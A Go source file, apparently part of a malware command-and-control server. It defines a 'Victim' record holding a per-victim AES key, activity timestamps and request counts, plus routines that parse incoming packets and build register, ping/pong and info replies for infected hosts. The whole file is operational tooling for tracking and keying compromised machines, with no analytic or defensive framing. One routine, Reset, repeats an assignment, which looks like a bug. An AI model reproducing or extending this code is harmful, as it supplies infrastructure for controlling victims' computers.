1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
|
package miller
import (
"github.com/zhuangsirui/binpacker"
"fmt"
"time"
"encoding/json"
"encoding/binary"
//"encoding/hex"
"bytes"
)
type Victim struct {
Last_rf_rx uint8 `json:"LRFRX"`
Last_rc_rx uint16 `json:"LRCRX"`
Last_rf_tx uint8 `json:"LRFTX"`
Last_rc_tx uint16 `json:"LRCTX"`
Last_active time.Time `json:"LA"`
Last_json time.Time `json:"LJ"`
Aeskey [AESKEY_SIZ]byte `json:"AK"`
Requests uint `json:"REQS"`
}
func NewVictim() *Victim {
return &Victim{ 0, 0, 0, 0, time.Time{}, time.Time{}, [AESKEY_SIZ]byte{}, 0 }
}
func (v *Victim) Reset() {
v.Last_rf_rx = 0
v.Last_rf_rx = 0
}
func (v *Victim) String() string {
return fmt.Sprintf("last_rf_rx: 0x%04X, last_rc_rx: 0x%04X, last_rf_tx: 0x%04X, " +
"last_rc_tx: 0x%04X, aeskey: '%v', requests: %v",
v.Last_rf_rx, v.Last_rc_rx, v.Last_rf_tx, v.Last_rc_tx, v.Aeskey, v.Requests)
}
func (v *Victim) ToJSON(debug_only bool) ([]byte, error) {
if !debug_only {
v.Last_json = time.Now()
}
return json.Marshal(v)
}
func (v *Victim) FromJSON(json_input []byte) error {
return json.Unmarshal(json_input, v)
}
func copySliceToArray(dest []byte, src []byte, siz int) error {
if len(src) != len(dest) {
return fmt.Errorf("parseValue: %d bytes (src) != %d bytes (dest)", len(src), len(dest))
}
copied := copy(dest[:], src)
if copied != siz {
return fmt.Errorf("parseMarker: copied only %d instead of %d", copied, siz)
}
return nil
}
func ParseMarker(dest *[MARKER_SIZ]byte, src []byte) error {
return copySliceToArray(dest[:], src, int(MARKER_SIZ))
}
func ParseMarkerResponse(response *HttpResp, src []byte) error {
return ParseMarker(&response.StartMarker, src)
}
func ParseAESKey(dest *[AESKEY_SIZ]byte, src []byte) error {
return copySliceToArray(dest[:], src, int(AESKEY_SIZ))
}
func ParseAESKeyResponse(response *RespRegister, src []byte) error {
return ParseAESKey(&response.Aeskey, src)
}
func (v *Victim) SetAESKey(aeskey []byte) error {
return ParseAESKey(&v.Aeskey, aeskey)
}
func (v *Victim) HasAESKey() bool {
var nullkey [AESKEY_SIZ]byte
return !bytes.Equal(v.Aeskey[:], nullkey[:])
}
func (v *Victim) ParseRequest(dest []byte, response *HttpResp) error {
buffer := bytes.NewBuffer(dest)
unpacker := binpacker.NewUnpacker(binary.LittleEndian, buffer)
marker_bytearr, err := unpacker.ShiftBytes(uint64(MARKER_SIZ))
if err != nil {
return fmt.Errorf("marker: %s", err)
}
if copy(response.StartMarker[:], marker_bytearr) != int(MARKER_SIZ) {
return fmt.Errorf("marker: copy failed")
}
v.Last_active = time.Now()
unpacker.FetchUint8(&response.RespFlags)
v.Last_rf_rx = response.RespFlags
unpacker.FetchUint16(&response.RespCode)
v.Last_rc_rx = response.RespCode
if !v.HasAESKey() {
v.Last_rc_rx = RC_REGISTER
}
unpacker.FetchUint32(&response.Pkgsiz)
response.Pkgbuf, err = unpacker.ShiftBytes(uint64(response.Pkgsiz))
if err != nil {
return fmt.Errorf("pkgbuf: %s", err)
}
v.Requests++
return nil
}
func (v *Victim) buildResponse(response *HttpResp, dest []byte) ([]byte, error) {
buffer := bytes.Buffer{}
packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
packer.PushBytes(response.StartMarker[:])
packer.PushUint8(response.RespFlags)
v.Last_rf_tx = response.RespFlags
packer.PushUint16(response.RespCode)
v.Last_rc_tx = response.RespCode
packer.PushUint32(response.Pkgsiz)
packer.PushBytes(response.Pkgbuf)
err := packer.Error()
if err != nil {
v.Reset()
return nil, err
}
return append(dest, buffer.Bytes()...), nil
}
func (v *Victim) BuildRegisterResponse(response *HttpResp, respreg *RespRegister, dest []byte) ([]byte, error) {
buffer := bytes.Buffer{}
packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
packer.PushBytes(respreg.Aeskey[:])
packer.PushUint32(respreg.NextPing)
err := packer.Error()
if err != nil {
return nil, err
}
response.Pkgsiz = uint32(len(buffer.Bytes()))
response.Pkgbuf = buffer.Bytes()
return v.buildResponse(response, dest)
}
func (v *Victim) BuildPongResponse(response *HttpResp, respong *RespPong, dest []byte) ([]byte, error) {
buffer := bytes.Buffer{}
packer := binpacker.NewPacker(binary.LittleEndian, &buffer)
packer.PushUint32(respong.NextPing)
err := packer.Error()
if err != nil {
return nil, err
}
response.Pkgsiz = uint32(len(buffer.Bytes()))
response.Pkgbuf = buffer.Bytes()
return v.buildResponse(response, dest)
}
func (v *Victim) BuildInfoResponse(response *HttpResp, dest []byte) ([]byte, error) {
response.Pkgsiz = 0
response.Pkgbuf = nil
return v.buildResponse(response, dest)
}
|